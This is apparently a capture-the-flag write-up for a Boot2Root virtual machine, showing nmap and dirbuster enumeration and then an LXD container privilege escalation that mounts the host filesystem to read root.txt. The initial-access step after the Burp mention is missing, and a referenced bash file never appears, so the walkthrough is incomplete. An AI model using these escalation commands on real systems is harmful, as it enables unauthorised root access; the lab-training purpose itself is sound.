Description: It’s a Boot2Root machine. The machine is VirtualBox compatible but can be used in VMWare as well (not tested but it should work). The DHCP will assign an IP automatically. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively. Enjoy pwning it!
We recommend that you use VirtualBox and not VMware for this VM
information gathering
first use nmap as usual
1 2 3 4
nmap -sn -v 192.168.56.* Nmap scan report for 192.168.56.125 Host is up (0.00016s latency). MAC Address: 08:00:27:FC:8E:E4 (Oracle VirtualBox virtual NIC)
then Get more detailed information
1 2 3 4 5 6 7 8 9 10 11 12 13 14
nmap -sV -sC -T4 -v -p- 192.168.56.125 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 6688/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 6d:df:0d:37:b1:3c:86:0e:e6:6f:84:b9:28:11:ee:68 (RSA) | 256 8f:3e:c0:08:03:13:e8:64:89:f6:f9:63:b3:88:99:2a (ECDSA) |_ 256 fb:e3:40:e6:91:0b:3c:bc:b7:0e:c7:bd:ef:a2:93:fc (ED25519) MAC Address: 08:00:27:FC:8E:E4 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
i use dirbuster for Web Directory scanning, get the following results
1 2 3
/icons 403 /lavalamp 200 /server-status 403
turn to contact page,i use burp got the following request
ford@blume:/tmp$ lxc image list +---------+--------------+--------+-------------------------------+--------+--------+------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE | +---------+--------------+--------+-------------------------------+--------+--------+------------------------------+ | myimage | 468c747448ec | no | alpine v3.11 (20200119_01:51) | x86_64 | 3.08MB | May 21, 2020 at 5:39am (UTC) | +---------+--------------+--------+-------------------------------+--------+--------+------------------------------+ ford@blume:/tmp$ lxc init myimage ignite -c security.privileged=true Creating ignite ford@blume:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true Device mydevice added to ignite ford@blume:/tmp$ lxc start ignite ford@blume:/tmp$ lxc exec ignite /bin/sh ~ # id uid=0(root) gid=0(root) ~ # whoami root
Once inside the container, navigate to /mnt/root to see all resources from the host machine.
After running the bash file. We see that we have a different shell, it is the shell of the container. This container has all the files of the host machine. So, we enumerated for the root flag and found it.
and finally find the root.txt at last
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
~ # cd /mnt/root/root /mnt/root/root # ls root.txt /mnt/root/root # cat root.txt Oh Yeah! Finally Pwned!
